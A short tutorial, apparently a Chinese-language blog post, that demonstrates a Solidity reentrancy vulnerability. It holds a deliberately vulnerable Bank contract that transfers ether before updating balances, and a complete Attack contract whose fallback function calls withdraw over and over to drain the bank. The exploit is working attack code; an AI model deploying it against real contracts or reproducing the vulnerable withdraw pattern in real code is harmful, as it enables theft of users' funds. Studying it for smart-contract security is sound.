Reentrancy Vulnerability_reentrancy vulnerabilities

pragma solidity ^0.4.0;

contract Bank {
    address owner;
    mapping (address => uint256) balances;

    constructor() public payable{ 
        owner = msg.sender; 
    }

    function deposit() public payable { 
        balances[msg.sender] += msg.value;
    }

    function withdraw(address receiver, uint256 amount) public{
        require(balances[msg.sender] > amount);
        require(address(this).balance > amount);
        // **使用 call.value()()进行ether转币时，没有Gas限制，用call调用会触发attack的fallback函数**
        receiver.call.value(amount)();
       // receiver.send(amount);
        balances[msg.sender] -= amount;
    }

    function balanceOf(address addr) public view returns (uint256) { 
        return balances[addr]; 
    }
    
    function getBank() public view returns(uint){
        return this.balance;
    } 
}

contract Attack {
    address owner;
    address victim;
    constructor() public payable { 
        owner = msg.sender;
    }
    function setVictim(address target) public{
        victim = target;
    }
    function step1(uint256 amount) public  payable{
        if (address(this).balance > amount) {
            victim.call.value(amount)(bytes4(keccak256("deposit()")));
        }
    }
    function step2(uint256 amount) public{
        victim.call(bytes4(keccak256("withdraw(address,uint256)")), this,amount);
    }
    // selfdestruct, send all balance to owner
    function stopAttack() public{
        selfdestruct(owner);
    }
    function startAttack(uint256 amount) public{
        step1(amount);
        step2(amount / 2);
    }
    function () public payable {
        if (msg.sender == victim) {
            // 再次尝试调用Bank合约的withdraw函数，递归转币
            victim.call(bytes4(keccak256("withdraw(address,uint256)")), this,msg.value);
        }
    }
    
    function getBank() public view returns(uint){
        return this.balance;
    } 
    
    /*function getAddress() public view returns(string memory){
        return address(this);
    }*/
    
}
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初始银行有50wei，attack有10wei


按照代码顺序对Bank攻击后，attack合约获得银行绝大部分余额

参考：
1.https://paper.seebug.org/790/